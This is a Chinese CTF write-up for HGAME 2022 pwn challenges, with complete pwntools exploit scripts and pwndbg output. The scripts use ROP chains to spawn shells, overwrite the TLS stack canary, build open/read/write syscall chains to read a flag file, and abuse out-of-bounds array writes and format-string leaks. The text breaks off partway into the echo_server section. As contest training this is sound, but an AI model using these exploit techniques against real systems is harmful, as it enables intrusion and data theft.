Hgame2022 week1 enter_the_pwn_land
循环输入
64位,dynamically,开了NX
栈溢出,数组越位,数据泄露
入侵思路
可以利用“puts”来泄露地址:
1 2 3 4 5 6 7 8 0x401209 <test_thread+83 > nop 0x40120a <test_thread+84 > lea rax, [rbp - 0x30 ] 0x40120e <test_thread+88 > mov rdi, rax ► 0x401211 <test_thread+91 > call puts @plt <puts @plt> s: 0x7ffff7d9bec0 ◂— 0xa61616161 0x401216 <test_thread+96 > nop 0x401217 <test_thread+97 > leave 0x401218 <test_thread+98 > ret
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> stack 50 00 :0000 │ rax rdi rsp rsi-4 0x7ffff7d9bec0 ◂— 0xa61616161 01 :0008 │ 0x7ffff7d9bec8 ◂— 0x0 ... ↓ 2 skipped 04 :0020 │ 0x7ffff7d9bee0 —▸ 0x7ffff7d9c700 ◂— 0x7ffff7d9c700 05 :0028 │ 0x7ffff7d9bee8 ◂— 0x400000001 06 :0030 │ rbp 0x7ffff7d9bef0 ◂— 0x0 07 :0038 │ 0x7ffff7d9bef8 —▸ 0x7ffff7f9b609 (start_thread+217 ) ◂— mov qword ptr fs:[0x630 ], rax08 :0040 │ 0x7ffff7d9bf00 ◂— 0x0 09 :0048 │ 0x7ffff7d9bf08 —▸ 0x7ffff7d9c700 ◂— 0x7ffff7d9c700 0 a:0050 │ 0x7ffff7d9bf10 —▸ 0x7ffff7d9c700 ◂— 0x7ffff7d9c700 0b :0058 │ 0x7ffff7d9bf18 ◂— 0x97c3fd3d98d89709
1 2 3 4 5 0x405000 0x426000 rw-p 21000 0 [heap] 0x7ffff759c000 0x7ffff759d000 ---p 1000 0 [anon_7ffff759c]0x7ffff759d000 0x7ffff7da0000 rw-p 803000 0 [anon_7ffff759d]0x7ffff7da0000 0x7ffff7dc5000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31 .so0x7ffff7dc5000 0x7ffff7f3d000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so
libc基地址为“0x7ffff7da0000”
1 2 In [5 ]: 0x7ffff7da0000 -0x7ffff7d9c700 Out[5 ]: 14592
可以发现:“0x7ffff7d9c700”和“libc基址”的偏移为常数,输入32个“a”即可泄露该数据
1 2 3 4 p.recvuntil('\n' ) leak_addr=u64(p.recvline()[:-1 ].ljust(8 ,'\x00' )) leak_addr=hex (leak_addr)+'00' success('leak_addr >> ' +leak_addr)
计算“libc基址”,获取一下必要的“gadgets”:
1 2 3 4 5 6 libc_base=int (leak_addr,16 )+14592 execve_libc=libc_base+libc.sym['execve' ] system_libc=libc_base+libc.sym['system' ] puts_libc=libc_base+libc.sym['puts' ] bin_sh_libc=libc_base+libc.search('/bin/sh' ).next () one_gadget=libc_base+0xe6c84
最后还有一个坑:
覆盖 “s” 的时候会把 “i” 也覆盖了,这里要注意一下
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *p=remote('81.68.133.212' ,31710 ) elf=ELF('./a.out' ) libc=ELF('./libc-2.31.so' ) payload='a' *32 p.sendline(payload) p.recvuntil('\n' ) leak_addr=u64(p.recvline()[:-1 ].ljust(8 ,'\x00' )) leak_addr=hex (leak_addr)+'00' success('leak_addr >> ' +leak_addr) libc_base=int (leak_addr,16 )+14592 execve_libc=libc_base+libc.sym['execve' ] system_libc=libc_base+libc.sym['system' ] puts_libc=libc_base+libc.sym['puts' ] bin_sh_libc=libc_base+libc.search('/bin/sh' ).next () one_gadget=libc_base+0xe6c84 success('libc_base >> ' +hex (libc_base)) success('execve_libc >> ' +hex (execve_libc)) success('bin_sh_libc >> ' +hex (bin_sh_libc)) success('one_gadget >> ' +hex (one_gadget)) pop_rdi_ret=0x0000000000026b72 +libc_base pop_rsi_ret=0x0000000000027529 +libc_base pop_rdx_rbx_ret=0x0000000000162866 +libc_base success('pop_rdi_ret >> ' +hex (pop_rdi_ret)) success('pop_rsi_ret >> ' +hex (pop_rsi_ret)) success('pop_rdx_rbx_ret >> ' +hex (pop_rdx_rbx_ret)) payload='a' *(0x30 -4 )+p32(0x30 -4 )+'b' *0x8 payload+=p64(pop_rdi_ret)+p64(bin_sh_libc) payload+=p64(pop_rsi_ret)+p64(0 ) payload+=p64(pop_rdx_rbx_ret)+p64(0 )+p64(0 ) payload+=p64(execve_libc) p.sendline(payload) p.interactive()
enter_the_evil_pwn_land
循环输入
64位,dynamically,开了NX
栈溢出,数组越位,数据泄露
入侵思路
前面的过程和 enter_the_pwn_land 一样,只有最后需要多绕一个canary
这里的 “i” 没有坑了,继续之前的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 payload='a' *32 p.sendline(payload) p.recvuntil('\n' ) leak_addr=u64(p.recvline()[:-1 ].ljust(8 ,b'\x00' )) leak_addr=hex (leak_addr)+'00' success('leak_addr >> ' +leak_addr) libc_base=int (leak_addr,16 )+14592 execve_libc=libc_base+libc.sym['execve' ] system_libc=libc_base+libc.sym['system' ] puts_libc=libc_base+libc.sym['puts' ] bin_sh_libc=libc_base+libc.search('/bin/sh' ).next () one_gadget=libc_base+0xe6c84 pop_rdi_ret=0x0000000000026b72 +libc_base pop_rsi_ret=0x0000000000027529 +libc_base pop_rdx_rbx_ret=0x0000000000162866 +libc_base
但是这里又有一个问题:
1 2 3 4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa C\x87j\xb3\xb5T *** stack smashing detected ***: terminated [*] Got EOF while reading in interactive
传统的覆盖低字节会导致canary报错,但是在申请新线程的程序中,有一种技术可以绕过canary,覆盖TLS中储存的canary值
先用爆破脚本试试TLS的位置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 padding=0x30 offset=1 while True : p=process('./a.out' ) payload = '' payload += (padding-8 )*'a' payload += 'aaaaaaaa' payload += p64(0xdeadbeef ) payload += p64(0 ) payload += 'a' *(offset-len (payload)) p.sendline(payload) temp = p.recvall() if "stack smashing detected" in temp: offset += 1 print ("offset >> " +hex (offset)) p.close() else : print ("success !!!" ) print ("offset >> " +hex (offset)) p.close() break p.interactive()
为了节约时间,可以把“offset”的起始值设置得大一点
1 2 success !!! offset >> 0x870
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *p=remote('81.68.133.212' ,39234 ) elf=ELF('./a.out' ) libc=ELF('./libc-2.31.so' ) payload='a' *32 p.sendline(payload) p.recvuntil('\n' ) leak_addr=u64(p.recvline()[:-1 ].ljust(8 ,b'\x00' )) leak_addr=hex (leak_addr)+'00' success('leak_addr >> ' +leak_addr) libc_base=int (leak_addr,16 )+14592 execve_libc=libc_base+libc.sym['execve' ] system_libc=libc_base+libc.sym['system' ] puts_libc=libc_base+libc.sym['puts' ] bin_sh_libc=libc_base+libc.search('/bin/sh' ).next () one_gadget=libc_base+0xe6c84 success('libc_base >> ' +hex (libc_base)) success('execve_libc >> ' +hex (execve_libc)) success('bin_sh_libc >> ' +hex (bin_sh_libc)) success('one_gadget >> ' +hex (one_gadget)) pop_rdi_ret=0x0000000000026b72 +libc_base pop_rsi_ret=0x0000000000027529 +libc_base pop_rdx_rbx_ret=0x0000000000162866 +libc_base success('pop_rdi_ret >> ' +hex (pop_rdi_ret)) success('pop_rsi_ret >> ' +hex (pop_rsi_ret)) success('pop_rdx_rbx_ret >> ' +hex (pop_rdx_rbx_ret)) offset = 0x870 payload='a' *(0x30 )+'b' *0x8 payload+=p64(pop_rdi_ret)+p64(bin_sh_libc) payload+=p64(pop_rsi_ret)+p64(0 ) payload+=p64(pop_rdx_rbx_ret)+p64(0 )+p64(0 ) payload+=p64(execve_libc) payload=payload.ljust(offset,'a' ) p.sendline(payload) p.interactive()
oldfashion_orw
两次输入
64位,dynamically,开了NX
两次输入,第一次输入“size”,第二次输入“content”
入侵思路
可以利用整数溢出绕过if检查
size_t是标准C库中定义的
1 typedef unsigned int size_t ;
1 typedef unsigned long size_t ;
C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)
1 int atoi (const char *str)
所以“nbytes”是“int”类型的
C语言中int的取值范围是:“-2147483648 ~ 2147483647”
1 2 3 num=2147483647 +1 payload=str (num) p.sendafter("size?\n" ,payload)
绕过了检查,程序开始沙盒,获取不了shell:
但是它给了一个文件:
1 2 3 4 5 6 7 #!/bin/bash rm /home/ctf/flag* cp /flag "/home/ctf/flag`head /dev/urandom |cksum |md5sum |cut -c 1-20`" cd /home/ctf exec 2 >/dev/null /usr/sbin/chroot --userspec=1000 :1000 /home/ctf timeout 300 ./vuln
这里给了我们一个提示,虽然不能“get shell”但是可以打“ORW”
程序还差一个“open”函数,可以在libc中找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def csu (rbx, rbp, r12, r13, r14, r15, last ): payload = 'a' *0x30 +'b' *0x8 payload += p64(csu_end_addr) payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload += p64(csu_front_addr) payload += b'a' * 0x38 payload += p64(last) p.send(payload) sleep(1 ) csu(0 , 1 , 1 , write_got, 0x8 , write_got, main_addr) p.recvuntil('done!\n' ) write_libc=u64(p.recvuntil('size?' )[-13 :-5 ]) libc_base=write_libc-write_sym success('libc_base >> ' +hex (libc_base)) open_libc=libc_base+libc.sym['open' ] success('open_libc >> ' +hex (open_libc))
泄露了“libc_base”,接下来就是利用ROP链进行ORW,在此之前需要找到“syscall;ret”
这里值得注意:通常的ROPgadget不能成功找到“syscall;ret”,需要借助“opcode”
1 2 3 4 5 6 Python 2.7 .18 (default, Mar 8 2021 , 13 :02:45 ) [GCC 9.3 .0 ] on linux2 Type "help" , "copyright" , "credits" or "license" for more information.>>> from pwn import *>>> asm("syscall;ret" ).encode('hex' )'0f05c3'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ➜ [/home/ywhkkx/桌面] ROPgadget --binary libc-2.31 .so --opcode 0f05c3 Opcodes information ============================================================ 0x0000000000066229 : 0f05c30x00000000000870ec : 0f05c30x00000000000941a4 : 0f05c30x0000000000096aac : 0f05c30x0000000000097e29 : 0f05c30x00000000000e7249 : 0f05c30x00000000000e7259 : 0f05c30x00000000000e7269 : 0f05c30x00000000000e7279 : 0f05c30x00000000000e7289 : 0f05c30x00000000000e7299 : 0f05c3
在打ORW之前,需要先获取“flag”文件的文件名称:(flag文件名后面跟了一个随机数)
利用“getdents64(3, bss_addr + 0x200, 0x600) ”:获取当前目录到“bss_addr + 0x200”
利用“write(1, bss_addr + 0x200, 0x600)”:把“bss_addr + 0x200”存储的目录打印出来
因为目标文件以“flag”开头,所以接收flag并把它读到“bss段”中
最后就可以打ORW了
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from pwn import *import timep=process('./vuln' ) context(log_level='debug' ,arch='amd64' ,os='linux' ) elf=ELF('./vuln' ) libc=ELF('./libc-2.31.so' ) num=2147483647 +1 payload_s=str (num) p.sendlineafter("size?\n" ,payload_s) main_addr=0x000000000401311 bss_addr=0x000000000404040 +0x100 read_got=elf.got['read' ] write_got=elf.got['write' ] prctl_got=elf.got['prctl' ] write_sym=libc.sym['write' ] csu_front_addr=0x401420 csu_end_addr=0x40143A def csu (rbx, rbp, r12, r13, r14, r15, last ): payload = b'a' *0x30 +b'b' *0x8 payload += p64(csu_end_addr) payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload += p64(csu_front_addr) payload += b'a' * 0x38 payload += p64(last) p.send(payload) sleep(1 ) csu(0 , 1 , 1 , write_got, 0x8 , write_got, main_addr) p.recvuntil('done!\n' ) write_libc=u64(p.recvuntil('size?' )[-13 :-5 ]) libc_base=write_libc-write_sym open_libc=libc_base+libc.sym['open' ] read_libc=libc_base+libc.sym['read' ] write_libc=libc_base+libc.sym['write' ] success('libc_base >> ' +hex (libc_base)) success('open_libc >> ' +hex (open_libc)) success('read_libc >> ' +hex (read_libc)) success('write_libc >> ' +hex (write_libc)) leave_ret=0x0000000004013DB ret=0x000000000040101a pop_rdi_ret=0x0000000000026b72 +libc_base pop_rsi_ret=0x0000000000027529 +libc_base pop_rdx_r12_ret=0x0000000000162866 +libc_base pop_rax_ret=0x000000000004a550 +libc_base syscall_ret=0x000000000013d63b +libc_base payload = 'a' * 0x30 + 'b' * 0x8 payload += p64(pop_rdi_ret)+p64(0 ) payload += p64(pop_rsi_ret)+p64(bss_addr) payload += p64(pop_rdx_r12_ret)+p64(2 )+p64(0 ) payload += p64(elf.sym['read' ]) payload += p64(pop_rax_ret)+p64(2 ) payload += p64(pop_rdi_ret)+p64(bss_addr) payload += p64(pop_rsi_ret)+p64(0 ) payload += p64(pop_rdx_r12_ret)+p64(0 )+p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret)+p64(217 ) payload += p64(pop_rdi_ret)+p64(3 ) payload += p64(pop_rsi_ret)+p64(bss_addr + 0x200 ) payload += p64(pop_rdx_r12_ret)+p64(0x600 )+p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret)+p64(1 ) payload += p64(pop_rdi_ret)+p64(1 ) payload += p64(pop_rsi_ret)+p64(bss_addr + 0x200 ) payload += p64(pop_rdx_r12_ret)+p64(0x600 )+p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret)+p64(0 ) payload += p64(pop_rdi_ret)+p64(0 ) payload += p64(pop_rsi_ret)+p64(bss_addr) payload += p64(pop_rdx_r12_ret)+p64(0x30 )+p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret)+p64(2 ) payload += p64(pop_rdi_ret)+p64(bss_addr) payload += p64(pop_rsi_ret)+p64(0 ) payload += p64(pop_rdx_r12_ret)+p64(0 )+p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret)+p64(0 ) payload += p64(pop_rdi_ret)+p64(4 ) payload += p64(pop_rsi_ret)+p64(bss_addr) payload += p64(pop_rdx_r12_ret)+p64(0x60 )+p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret)+p64(1 ) payload += p64(pop_rdi_ret)+p64(1 ) payload += p64(pop_rsi_ret)+p64(bss_addr) payload += p64(pop_rdx_r12_ret)+p64(0x60 )+p64(0 ) payload += p64(syscall_ret) p.sendline(payload_s) p.sendline(payload) p.send('.\x00' ) time.sleep(1 ) p.recvuntil('flag' ) md5=p.recv(20 ) flag='./flag' +md5 p.send(flag) p.interactive()
ser_per_fa
64位,dynamically,全开
程序给了源码的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 #include <stdio.h> #include <stdlib.h> #include <queue> #include <string.h> #define NODES 210 #define EDGES 610 struct EDGE { long long nxt, to, dis; } edge[EDGES]; long long n, m, w, a, b, num_edge, t;long long head[NODES], vis[NODES], dist[NODES], cnt[NODES];void _add(long long from, long long to, long long dis){ edge[++num_edge].to = to; edge[num_edge].dis = dis; edge[num_edge].nxt = head[from]; head[from] = num_edge; } void spfa (long long s) { std::queue<int > q; q.push (s); dist[s] = 0 ; vis[s] = 1 ; while (!q.empty ()) { long long u = q.front (); q.pop (); vis[u] = 0 ; for (long long i = head[u]; i; i = edge[i].nxt) { long long v = edge[i].to; if (dist[v] > dist[u] + edge[i].dis) { dist[v] = dist[u] + edge[i].dis; if (vis[v] == 0 ) { vis[v] = 1 ; q.push (v); } } } } } void backd00r () { system ("/bin/sh" ); } void init_io () { setbuf (stdin, NULL ); setbuf (stdout, NULL ); setbuf (stderr, NULL ); } int main () { long long t; init_io (); printf ("how many datas?\n>> " ); scanf ("%lld" , &t); while (t--) { memset (vis, 0 , sizeof (vis)); memset (dist, 0 , sizeof (dist)); memset (cnt, 0 , sizeof (cnt)); memset (head, 0 , sizeof (head)); memset (dist, 127 / 3 , sizeof (dist)); printf ("how many nodes?\n>> " ); scanf ("%lld" , &n); printf ("how many edges?\n>> " ); scanf ("%lld" , &m); printf ("input edges in the\n[from] [to] [distant]\nformat\n" ); for (long long i = 0 ; i < m; i++) { scanf ("%lld%lld%lld" , &a, &b, &w); _add(a, b, w); } printf ("you want to start from which node?\n>> " ); long long x; scanf ("%lld" , &x); spfa (x); printf ("calc done!\nwhich path you are interested %lld to ?\n>> " , x); scanf ("%lld" , &x); printf ("the length of the shortest path is %lld\n" , dist[x]); } return 0 ; }
SPFA 算法:
从图中的某个顶点出发到达另外一个顶点的所经过的边的权重和最小的一条路径,称为最短路径
初始化阶段程序提供了3次输入:“data”,“nodes”,“edges”
分别为:数据数量,结点数量,权边数量
接着以“[from] [to] [distant]”的形式输入:“a”,“b”,“w”,进入函数“add”
输入“start”,进入函数“spfa”完成计算,最后输入任意值查看计算结果
入侵思路
首先程序有backdoor:(偏移地址为:0x16A5)
为了可以使用backdoor,需要栈溢出并且泄露“pro_base”
这里可以泄露“pro_base”:输入的“start”可以超过“dist”的范围(数组越位)
1 2 3 4 pwndbg> search -s ********************* [anon_55b6cc9c0] 0x55b6cc9c3730 0x2a2a2a2a2a2a2a2a ('********' ) [anon_55b6cc9c0] 0x55b6cc9c3745 0x2a2a2a2a2a2a2a2a ('********' ) [anon_55b6cc9c0] 0x55b6cc9c375a 0x2a2a2a2a2a2a2a2a ('********' )
1 2 3 4 pwndbg> x/20xg 0x55b6cc9c3730 -16 0x55b6cc9c3720 <dist>: 0x2a2a2a2a2a2a2a2a 0x0000000000000000 0x55b6cc9c3730 <dist+16 >: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a 0x55b6cc9c3740 <dist+32 >: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a
看看“dist”的上下都有什么:(“pro_base”和“libc_base”都可以获取了)
1 2 3 4 5 6 7 8 9 10 pwndbg> 0x55b6cc9bef80 <system@got.plt>: 0x00007fc38ddcc410 0x00007fc38e02cd70 0x55b6cc9bef90 <_Znwm@got.plt>: 0x00007fc38e02eb20 0x00007fc38dea9b00 0x55b6cc9befa0 <__isoc99_scanf@got.plt>: 0x00007fc38dddd230 0x00007fc38de05c50 0x55b6cc9befb0 <__cxa_rethrow@got.plt>: 0x00007fc38e02e6b0 0x00007fc38ddfe5a0 0x55b6cc9befc0 <memmove@got.plt>: 0x00007fc38df05670 0x00007fc38e02d3f0 0x55b6cc9befd0 <_Unwind_Resume@got.plt>: 0x00007fc38df7a480 0x00007fc38ddc1090 0x55b6cc9befe0 : 0x0000000000000000 0x00007fc38dd9dfc0 0x55b6cc9beff0 : 0x0000000000000000 0x0000000000000000 0x55b6cc9bf000 : 0x0000000000000000 0x000055b6cc9bf008
1 2 3 4 5 In [11 ]: 0x55b6cc9bf000 +0x8 -0x55b6cc9c3720 Out[11 ]: -18200 In [12 ]: 18200 //8 Out[12 ]: 2275
计算“pro_base”:
1 2 3 4 5 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x55b6cc9b8000 0x55b6cc9b9000 r--p 1000 0 /home/ywhkkx/桌面/spfa 0x55b6cc9b9000 0x55b6cc9bc000 r-xp 3000 1000 /home/ywhkkx/桌面/spfa 0x55b6cc9bc000 0x55b6cc9be000 r--p 2000 4000 /home/ywhkkx/桌面/spfa
1 2 3 4 5 In [15 ]: 0x000055b6cc9bf008 -0x55b6cc9b8000 Out[15 ]: 28680 In [16 ]: hex (28680 ) Out[16 ]: '0x7008'
用同样的方法可以获取“libc_base”:
1 2 3 4 pwndbg> x/20 xg 0x557a3add5720 0x557a3add5720 <dist>: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a 0x557a3add5730 <dist+16 >: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a 0x557a3add5740 <dist+32 >: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a
1 2 3 4 5 pwndbg> telescope 0x557a3add0fa0 00 :0000 │ 0x557a3add0fa0 (__isoc99_scanf@got.plt) —▸ 0x7efc1a7ee230 (__isoc99_scanf) ◂— endbr64 01 :0008 │ 0x557a3add0fa8 (setbuf@got.plt) —▸ 0x7efc1a816c50 (setbuf) ◂— endbr64 02 :0010 │ 0x557a3add0fb0 (__cxa_rethrow@got.plt) —▸ 0x7efc1aa3f6b0 (__cxa_rethrow) ◂— endbr64 03 :0018 │ 0x557a3add0fb8 (puts @got.plt) —▸ 0x7efc1a80f5a0 (puts ) ◂— endbr64
1 2 3 4 0x7efc1a788000 0x7efc1a7ad000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31 .so0x7efc1a7ad000 0x7efc1a925000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so0x7efc1a925000 0x7efc1a96f000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so0x7efc1a96f000 0x7efc1a970000 ---p 1000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so
1 2 3 4 5 In [21 ]: (0x557a3add0fa0 -0x557a3add5720 )//8 Out[21 ]: -2288 In [23 ]: hex (0x7efc1a788000 -0x7efc1a7ee230 ) Out[23 ]: '-0x66230'
获取了“libc_base”和“pro_base”,接下来就要考虑怎么执行 backdoor
spfa 结束后:返回地址就会被写成该边的 distant 字段的值
输入“a”,“b”,“w”后,三者在 spfa 中进行计算:“b”(“to”)中会被写入“w”(“distant ”)
所以只要把“b”写为“strlen_libc_got”,把“w”写为“backdoor”就好了
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *p=process('./spfa' ) elf=ELF('./spfa' ) libc=ELF('./libc-2.31.so' ) context(log_level='debug' ) p.sendlineafter('how many datas?\n' ,'4' ) p.sendlineafter('how many nodes?\n' ,'1' ) p.sendlineafter('how many edges?\n' ,'1' ) p.sendlineafter('format\n' ,'1 1 1' ) p.sendlineafter('you want to start from which node?\n' ,'1' ) p.sendlineafter('which path you are interested' ,'-2275' ) p.recvuntil('the length of the shortest path is ' ) leak_addr=eval (p.recvuntil('\n' )[:-1 ]) pro_base=leak_addr-0x7008 success('leak_addr >> ' +hex (leak_addr)) success('pro_base >> ' +hex (pro_base)) p.sendlineafter('how many nodes?\n' ,'1' ) p.sendlineafter('how many edges?\n' ,'1' ) p.sendlineafter('format\n' ,'1 1 1' ) p.sendlineafter('you want to start from which node?\n' ,'1' ) p.sendlineafter('which path you are interested' ,'-2288' ) p.recvuntil('the length of the shortest path is ' ) leak_addr=eval (p.recvuntil('\n' )[:-1 ]) libc_base=leak_addr-0x66230 success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base)) strlen_libc_got = libc_base + 0x1EB0A8 dist_addr = pro_base + 0xb720 backdoor = pro_base + 0x16A5 p.recvuntil('how many nodes?\n>> ' ) p.sendline('1' ) p.recvuntil('how many edges?\n>> ' ) p.sendline('1' ) p.recvuntil('format\n' ) p.sendline('1' ) p.sendline(str ((strlen_libc_got - dist_addr) // 8 )) p.sendline(str (backdoor)) p.recvuntil('you want to start from which node?\n>> ' ) p.sendline('1' ) p.recvuntil('>> ' ) p.sendline('1' ) p.interactive()
week2 echo_server
64位,dynamically,开了NX,开了PIE,Full RELRO
程序有明显的栈溢出,还有格式化漏洞
1 2 3 void realloc (void *ptr,size_t new_size) ;
这个函数用于修改一个原先已经分配内存块的大小
入侵思路
先用格式化漏洞泄露必要数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pwndbg> stack 50 00 :0000 │ rsp 0x7fffffffdd50 —▸ 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0 01 :0008 │ 0x7fffffffdd58 ◂— 0x58555550e0 02 :0010 │ 0x7fffffffdd60 —▸ 0x5555555592a0 ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n' 03 :0018 │ 0x7fffffffdd68 ◂— 0xc441dc61c3e26500 04 :0020 │ rbp 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0 05 :0028 │ 0x7fffffffdd78 —▸ 0x5555555552c2 (main+28 ) ◂— mov eax, 0 06 :0030 │ 0x7fffffffdd80 ◂— 0x0 07 :0038 │ 0x7fffffffdd88 —▸ 0x7ffff7dea0b3 (__libc_start_main+243 ) ◂— mov edi, eax08 :0040 │ 0x7fffffffdd90 —▸ 0x7ffff7ffc620 (_rtld_global_ro) ◂— 0x50d1300000000 09 :0048 │ 0x7fffffffdd98 —▸ 0x7fffffffde78 —▸ 0x7fffffffe1dd ◂— 0x77792f656d6f682f ('/home/yw' )0 a:0050 │ 0x7fffffffdda0 ◂— 0x100000000 0b :0058 │ 0x7fffffffdda8 —▸ 0x5555555552a6 (main) ◂— endbr64 0 c:0060 │ 0x7fffffffddb0 —▸ 0x5555555552d0 (__libc_csu_init) ◂— endbr64 0 d:0068 │ 0x7fffffffddb8 ◂— 0x6724cc2cd88f2e17 0 e:0070 │ 0x7fffffffddc0 —▸ 0x5555555550e0 (_start) ◂— endbr64 0f :0078 │ 0x7fffffffddc8 —▸ 0x7fffffffde70 ◂— 0x1 10 :0080 │ 0x7fffffffddd0 ◂— 0x0 11 :0088 │ 0x7fffffffddd8 ◂— 0x0 12 :0090 │ 0x7fffffffdde0 ◂— 0x98db33d363af2e17 13 :0098 │ 0x7fffffffdde8 ◂— 0x98db239198412e17 14 :00 a0│ 0x7fffffffddf0 ◂— 0x0 ... ↓ 2 skipped 17 :00b 8│ 0x7fffffffde08 ◂— 0x1 18 :00 c0│ 0x7fffffffde10 —▸ 0x7fffffffde78 —▸ 0x7fffffffe1dd ◂— 0x77792f656d6f682f ('/home/yw' )
1 2 pwndbg> n -0x5555555592a0 -0x58 -0x7ffff7ed4142 -0x5555555592a0 -0x7ffff7dca548 -0x7fffffffdd70 -0x58555550e0 -0x5555555592a0 -0xc441dc61c3e26500 -0x7fffffffdd80 -0x5555555552c2 -(nil)-0x7ffff7dea0b3 -0x7ffff7ffc620 -0x7fffffffde78
泄露数据包括“0x5555555592a0”和“0x58”,用search搜索:
1 2 3 4 5 6 pwndbg> search -t qword 0x5555555592a0 [stack ] 0x7fffffffaff0 0x5555555592a0 [stack ] 0x7fffffffd6d8 0x5555555592a0 [stack ] 0x7fffffffdc98 0x5555555592a0 [stack ] 0x7fffffffdcb0 0x5555555592a0 [stack ] 0x7fffffffdd60 0x5555555592a0
1 2 3 4 pwndbg> x/20xg 0x7fffffffdc98 0x7fffffffdc98 : 0x00005555555592a0 0x0000000000000058 0x7fffffffdca8 : 0x00007ffff7ed4142 0x00005555555592a0 0x7fffffffdcb8 : 0x00007ffff7dca548 0x0000000000000000
基本确定了格式化参数的位置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> telescope 0x7fffffffdc98 00 :0000 │ 0x7fffffffdc98 —▸ 0x5555555592a0 ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n' 01 :0008 │ 0x7fffffffdca0 ◂— 0x58 02 :0010 │ 0x7fffffffdca8 —▸ 0x7ffff7ed4142 (read+18 ) ◂— cmp rax, -0x1000 03 :0018 │ 0x7fffffffdcb0 —▸ 0x5555555592a0 ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n' 04 :0020 │ 0x7fffffffdcb8 —▸ 0x7ffff7dca548 ◂— 0x0 05 :0028 │ 0x7fffffffdcc0 ◂— 0x0 ... ↓ 2 skipped 08 :0040 │ 0x7fffffffdcd8 ◂— 0x770000007c 09 :0048 │ 0x7fffffffdce0 ◂— 0x5b0000006e 0 a:0050 │ 0x7fffffffdce8 ◂— 0x4 0b :0058 │ 0x7fffffffdcf0 —▸ 0x7ffff7faeb80 (main_arena) ◂— 0x0 0 c:0060 │ 0x7fffffffdcf8 ◂— 0x4 0 d:0068 │ 0x7fffffffdd00 ◂— 0x58 0 e:0070 │ 0x7fffffffdd08 ◂— 0xffffffffffffffb0 0f :0078 │ 0x7fffffffdd10 —▸ 0x7fffffffde70 ◂— 0x1 10 :0080 │ 0x7fffffffdd18 ◂— 0x0 11 :0088 │ 0x7fffffffdd20 ◂— 0x0 12 :0090 │ 0x7fffffffdd28 —▸ 0x7ffff7e602d4 (malloc +116 ) ◂— mov r8, rax13 :0098 │ 0x7fffffffdd30 —▸ 0x5555555552d0 (__libc_csu_init) ◂— endbr64 14 :00 a0│ 0x7fffffffdd38 —▸ 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0 15 :00 a8│ 0x7fffffffdd40 —▸ 0x5555555550e0 